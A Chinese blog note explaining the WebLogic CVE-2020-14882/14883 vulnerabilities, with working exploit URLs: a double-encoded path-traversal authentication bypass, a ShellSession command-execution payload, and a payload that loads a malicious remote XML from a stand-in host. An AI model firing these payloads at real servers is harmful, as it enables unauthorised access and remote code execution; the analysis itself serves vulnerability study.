简记 | CVE-2020-14882,CVE-2020-14883

CVE-2020-14882

payload:

http://your-ip:7001/console/css/%252e%252e%252fconsole.portal

原理简析:
出现这个漏洞的关键就在于,如果请求的路径在 ​​matchMap​​​ 列表里,那么 ​​unrestricted​​​ 值就为 ​​true​​ ,这些是属于静态资源,没有做资源的限制和身份校验。unrestricted近似于全局权限控制变量。在 ​​hasPermission​​​ 方法首先判断 ​​unrestricted,我们就可以通过修改请求 ​​/console/css/console.protal​​​ 访问静态资源使值为 ​​true​​ 。后面要做的就是重定向,后面payload做了一个重定向

这里要二次编码的原因是,发过去的时候http会解一次码,也就是说如果我们传的是​​/css/%2E%2E%2Fconsole.portal​​,那么解码后就是​​/css/../console.portal​​,这样发到服务端就没办法匹配到静态资源了,直接处理成了​​/console.portal​​

最后请求portal文件,构建控件树

关于​​.portal​​的加载方式​​singleFile​​:简单来说,在访问​​.portal​​时,是从文件系统加载的而不是数据库中,解析​​.portal​​文件的​​XML​​,并将呈现的​​.portal​​返回到浏览器。

最后目录穿越,获取到的文件也就是 ​​webapp​​​ 下的 ​​console.portal​

分析详情链接:https://blog.51cto.com/u_15274949/5236883

CVE-2020-14883

该漏洞利用大致有两种利用方法

1.通过调用ShellSession方法执行命令:

依赖包:coherence.jar

调用方法:com.tangosol.coherence.mvel2.sh.ShellSession

ShellSession结合consolejndi.portal回显利用

10.3.6.0的版本中提示无com.tangosol.coherence.mvel2.sh.ShellSession类,该利用链适用于12版本及以上
payload:

http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")

2.通过调用FileSystemXmlApplicationContext加载远程xml进行jndi注入,该利用连适用于weblogic 10版本,但该利用链需要出网加载外部xml文件。故此存在限制。

依赖包:com.bea.core.repackaged.springframework.spring_1.2.0.0_2-5-3.jar

调用方法:com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext

详细介绍:https://www.jianshu.com/p/2c9e2c01a520

payload:

http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://example.com/rce.xml")

需服务器提前部署恶意XML文件

你可能感兴趣的:(网络安全,网络安全,web安全,web,渗透测试)